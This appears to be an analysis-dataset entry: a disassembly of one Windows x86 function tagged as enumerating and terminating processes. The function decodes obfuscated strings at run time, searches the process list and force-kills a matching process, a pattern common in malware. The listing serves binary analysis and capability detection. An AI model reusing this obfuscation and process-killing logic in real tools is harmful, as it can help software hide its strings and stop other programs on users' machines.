Function at 0x40413d
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
sub esp, 0x128
lea ebp, [esp - 4]
mov eax, dword [0x4a521c]
xor eax, ebp
mov dword [ebp + 0x128], eax
push 0x48
mov eax, 0x473610
call fcn.00456a26
and dword [ebp - 0x24], 0
push 3
pop esi
push esi
push esi
sub esp, 0x1c
mov ebx, ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.Ix0nHCgpDQ46HR0eJVsgMg
call fcn.004023b3
call fcn.00403e1d
add esp, 0x20
mov dword [ebp - 0x14], esp
mov edi, esp
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.ISszKC8pDSQ6EysYOhAZOiYCWiApHVdX
call fcn.004023b3
push edi
call fcn.00403d07
add esp, 0x28
call fcn.0041de0b
pop ecx
test al, al
je 0x4041b9
xor eax, eax
jmp 0x40464b
push ecx
mov edi, esp
mov dword [ebp - 0x14], esp
push 5
pop esi
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x28], esp
push str.IxBeKSkTWhonEgVcLx0vMyAEg8mKSdfLTgdBisTUw86OyMYKBM_Xis5Pw0lKQ4OOihbMjwdV1c
call fcn.004023b3
push edi
call fcn.00403d07
and dword [ebp - 4], 0
add esp, 0x24
mov dword [ebp - 0x28], esp
mov edi, esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x28], esp
push str.JgYdLSg7ASg4KF46KBIFVw
call fcn.004023b3
push edi
call fcn.00403d07
or dword [ebp - 4], 0xffffffff
add esp, 0x28
call fcn.0041bb8e
pop ecx
pop ecx
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [ebp - 0x14], eax
call fcn.00434376
mov eax, dword [eax + 4]
push dword [eax + 0x60]
lea ecx, [ebp - 0x18]
call fcn.004040f9
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IxJaBCEuDV8rPl4eJTgBJCMHQAuKTMOIB07EyFbDjI
mov dword [ebp - 4], 1
call fcn.004023b3
lea eax, [ebp - 0x20]
push eax
call fcn.00403d07
add esp, 0x28
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 4], 2
call fcn.0040388a
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401264
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x124
lea eax, [ebp + 4]
push edi
push eax
mov dword [ebp - 0x2c], edi
call fcn.00456370
add esp, 0xc
lea eax, [ebp]
push eax
push dword [ebp - 0x20]
mov dword [ebp], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, 0x4a66a4
call fcn.004344e4
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040350c
lea eax, [ebp + 0x24]
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call fcn.00403a4b
push edi
lea eax, [ebp - 0x28]
push edi
push eax
call fcn.004039f4
add esp, 0xc
mov eax, dword [eax]
push dword [eax - 0xc]
lea ecx, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 4
call fcn.0040388a
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.00401264
mov eax, dword [ebp - 0x18]
push dword [eax - 0xc]
lea ecx, [ebp - 0x1c]
push eax
call fcn.0040388a
push dword [ebp - 0x18]
lea eax, [ebp + 0x24]
push eax
call fcn.00465b80
pop ecx
pop ecx
test eax, eax
jne 0x40432b
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x14]
jne 0x404350
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401264
lea eax, [ebp]
push eax
push dword [ebp - 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4042b5
jmp 0x404380
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401264
push 3
pop edi
cmp dword [0x4b6e38], edi
jne 0x4043d1
mov eax, dword [0x4b6e3c]
push dword [eax + 4]
mov ecx, 0x4a66b4
call fcn.004039d7
mov eax, dword [0x4b6e3c]
push dword [eax + 8]
call fcn.00457ea7
mov dword [0x4a6690], eax
mov eax, dword [0x4b6e3c]
pop ecx
push dword [eax + 4]
mov ecx, 0x4a66b8
call fcn.004039d7
lea eax, [ebp - 0x14]
push eax
call fcn.0041bda5
pop ecx
mov ecx, eax
mov dword [ebp - 4], esi
call fcn.0040381c
push eax
lea ecx, [ebp - 0x2c]
call fcn.004036d2
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], 7
call fcn.00401264
push 0
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IxJaBCU5Xho6W1IYJSs8CSMAEg8nEycrMgArEy8QJA46OCsAPwMjUi4AI1c
call fcn.004023b3
lea eax, [ebp - 0x1c]
push eax
call fcn.00403d07
add esp, 0x28
push dword [eax]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.00403616
push edi
push edi
sub esp, 0x1c
cmp eax, 0xffffffff
mov ecx, esp
mov dword [ebp - 0x10], esp
jle 0x40445f
push str.JQ0nJToAXj4tOxkeK1teByMNWg8lDVdX
call fcn.004023b3
lea eax, [ebp - 0x20]
push eax
call fcn.00403d07
add esp, 0x28
mov byte [ebp - 4], 9
mov dword [ebp - 0x24], 1
jmp 0x404483
push str.Iy4GDyEXj4tOxkeK1teByMNWjAoEw1dKzkzBSsQJxkjAFM5PB1XVw
call fcn.004023b3
lea eax, [ebp - 0x28]
push eax
call fcn.00403d07
add esp, 0x28
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x24], 2
push eax
lea ecx, [ebp - 0x18]
call fcn.004036d2
mov dword [ebp - 4], 0xb
test byte [ebp - 0x24], 2
je 0x4044a8
mov ecx, dword [ebp - 0x28]
and dword [ebp - 0x24], 0xfffffffd
add ecx, 0xfffffff0
call fcn.00401264
test byte [ebp - 0x24], 1
je 0x4044b9
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401264
push ecx
mov dword [ebp - 0x10], esp
mov edi, esp
push 2
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.MigoOiUCDSwuOA0mKBMdLigNUjAEDMZKx0zOiA4BTooK1IzJQINLCQNUjkpOzMMLg1TLyICIw8
call fcn.004023b3
push edi
call fcn.00403d07
add esp, 0x28
mov ecx, ebx
call fcn.00404012
or dword [0x4a6690], eax
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IxJaECcpMxorPFJcIj5SJDo4WwsjAzMrMhABDSU5UgsmPg0YKBMvXSYTPwQuPBoOJjsnADs5Wl0pOwkYISxfDCMoIwQyOSsfPwMZGCUrPy0mEwEgKCkrJD0dDVwrECdBIxInKCspI1IjLiNX
call fcn.004023b3
lea eax, [ebp - 0x14]
push eax
call fcn.00403d07
add esp, 0x24
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov byte [ebp - 4], 0xf
call fcn.004039f4
add esp, 0xc
mov ecx, ebx
call fcn.00404012
mov ecx, dword [ebp - 0x14]
or dword [0x4a6690], eax
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401264
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IzgjGC0pL0E9AlIEIj4ZCyYdJwQgOTMpPQM7BCE8XiUmPl4ELQM_PiAuJwIvBhoOIBMBACApWl89DT8fOiknLSA5ATAhKSsMgZaUj0dBjI
call fcn.004023b3
lea eax, [ebp - 0x14]
push eax
call fcn.00403d07
add esp, 0x24
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov byte [ebp - 4], 0x10
call fcn.004039f4
add esp, 0xc
mov ecx, ebx
call fcn.00404012
mov ecx, dword [ebp - 0x14]
or dword [0x4a6690], eax
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xe
call fcn.00401264
mov eax, dword [0x4a66b4]
cmp dword [eax - 0xc], 0
jne 0x404624
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
lea ecx, [ebp - 0x54]
call fcn.00433582
mov dword [ebp - 0x54], 0x47daf0
lea eax, [ebp - 0x54]
push eax
mov ecx, ebx
mov byte [ebp - 4], 0x11
call fcn.00432af2
mov ecx, ebx
call fcn.00432f1d
push 0
call fcn.00437a52
pop ecx
push esi
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.IysrKCApM18rPl4TK1sFKyYSIAsuEy8OJytSAy8TUiwjE14oKykZOSs5Pw0lKRkzIRIkDzIDGV4yDSMCPRIGDCMoIAgnAB0OPFsJVw
call fcn.004023b3
lea eax, [ebp - 0x10]
push eax
call fcn.00403d07
add esp, 0x28
push dword [eax]
mov ecx, ebx
mov byte [ebp - 4], 0x12
call fcn.0043701f
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401264
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xe
call fcn.004335c6
mov ecx, ebx
mov byte [ebx + 0xa4], 1
call fcn.00403eae
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401264
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.00401264
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x128]
xor ecx, ebp
call fcn.00456a17
add ebp, 0x12c
leave
ret